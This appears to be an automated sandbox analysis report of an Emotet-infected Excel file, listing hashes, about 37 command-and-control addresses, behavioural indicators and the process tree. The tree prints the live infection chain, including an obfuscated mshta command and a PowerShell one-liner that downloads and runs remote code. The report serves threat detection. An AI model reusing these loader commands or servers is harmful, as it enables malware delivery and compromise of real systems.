emotet | 0d8fd18da3cd6590f94cd2d23948427748b6ff51a0807e1e09ba59b78ab57662

Analysis

max time kernel
115s
max time network
171s
platform
windows10_x64
resource
win10-en-20211208
submitted
21/01/2022, 21:25

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General

Target
check.xls
Size 101KB
Sample220121-z9lvssbehm
SHA256 0d8fd18da3cd6590f94cd2d23948427748b6ff51a0807e1e09ba59b78ab57662
MD5 bf1d2419bda6068e37f85d3f8ed4eee0
SHA1 5ced3c65e1888499ab50c3eaef225255c1cc91c2
SHA512 48721ca0823fd57de6dbda793ec24f8062803ef4b16df33054d98dda98f0700348f434bd657b584efda2d5e33b71854686b32101033ea198b89a0ce31c46ba64
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fe3.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe3.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1552	668	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
39	3952	mshta.exe
40	924	powershell.exe
42	924	powershell.exe
50	2020	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1572	rundll32.exe
3540	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Vzuabf\lqdxoiq.pte	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2648	3952	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
668	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
924	powershell.exe
924	powershell.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
924	powershell.exe
2020	rundll32.exe
2020	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	924	powershell.exe
Token: SeDebugPrivilege	2648	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE
668	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 668 wrote to memory of 1552	668	EXCEL.EXE	71
PID 668 wrote to memory of 1552	668	EXCEL.EXE	71
PID 1552 wrote to memory of 3952	1552	cmd.exe	74
PID 1552 wrote to memory of 3952	1552	cmd.exe	74
PID 3952 wrote to memory of 924	3952	mshta.exe	77
PID 3952 wrote to memory of 924	3952	mshta.exe	77
PID 924 wrote to memory of 988	924	powershell.exe	80
PID 924 wrote to memory of 988	924	powershell.exe	80
PID 988 wrote to memory of 1572	988	cmd.exe	81
PID 988 wrote to memory of 1572	988	cmd.exe	81
PID 988 wrote to memory of 1572	988	cmd.exe	81
PID 1572 wrote to memory of 3540	1572	rundll32.exe	82
PID 1572 wrote to memory of 3540	1572	rundll32.exe	82
PID 1572 wrote to memory of 3540	1572	rundll32.exe	82
PID 3540 wrote to memory of 2452	3540	rundll32.exe	83
PID 3540 wrote to memory of 2452	3540	rundll32.exe	83
PID 3540 wrote to memory of 2452	3540	rundll32.exe	83
PID 2452 wrote to memory of 2020	2452	rundll32.exe	84
PID 2452 wrote to memory of 2020	2452	rundll32.exe	84
PID 2452 wrote to memory of 2020	2452	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\check.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:668
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe3.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:924
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:988
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1572
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3540
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vzuabf\lqdxoiq.pte",IvNG
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2452
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vzuabf\lqdxoiq.pte",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2020
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3952 -s 1632
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2648

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/668-132-0x00007FF9863F0000-0x00007FF986400000-memory.dmp

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memory/668-122-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/668-131-0x00007FF9863F0000-0x00007FF986400000-memory.dmp

Download

memory/668-121-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/668-647-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/668-118-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

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memory/668-646-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

Download

memory/668-645-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

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memory/668-644-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

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memory/668-120-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

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memory/668-119-0x00007FF989EC0000-0x00007FF989ED0000-memory.dmp

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memory/924-292-0x000002090DFC0000-0x000002090E0B0000-memory.dmp

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memory/924-420-0x000002090DFC0000-0x000002090E0B0000-memory.dmp

Download

memory/924-273-0x0000020926480000-0x00000209264A2000-memory.dmp

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memory/924-293-0x000002090DFC0000-0x000002090E0B0000-memory.dmp

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memory/924-294-0x0000020926540000-0x000002092657C000-memory.dmp

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memory/924-305-0x0000020926A90000-0x0000020926B06000-memory.dmp

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memory/1572-594-0x0000000004AC0000-0x0000000004AE6000-memory.dmp

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memory/2020-623-0x0000000004AD0000-0x0000000004AF6000-memory.dmp

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memory/2020-619-0x00000000049F0000-0x0000000004A16000-memory.dmp

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memory/2020-621-0x0000000004A60000-0x0000000004A86000-memory.dmp

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memory/2020-611-0x0000000004210000-0x0000000004236000-memory.dmp

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memory/2020-613-0x0000000004690000-0x00000000046B6000-memory.dmp

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memory/2020-615-0x0000000004930000-0x0000000004956000-memory.dmp

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memory/2020-617-0x0000000004990000-0x00000000049B6000-memory.dmp

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memory/2452-606-0x0000000000A20000-0x0000000000A46000-memory.dmp

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memory/3540-609-0x0000000004AE0000-0x0000000004B06000-memory.dmp

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memory/3540-605-0x0000000004980000-0x00000000049A6000-memory.dmp

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memory/3540-603-0x0000000004920000-0x0000000004946000-memory.dmp

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memory/3540-601-0x0000000004830000-0x0000000004856000-memory.dmp

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memory/3540-599-0x0000000004640000-0x0000000004666000-memory.dmp

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memory/3540-597-0x0000000000C70000-0x0000000000C96000-memory.dmp

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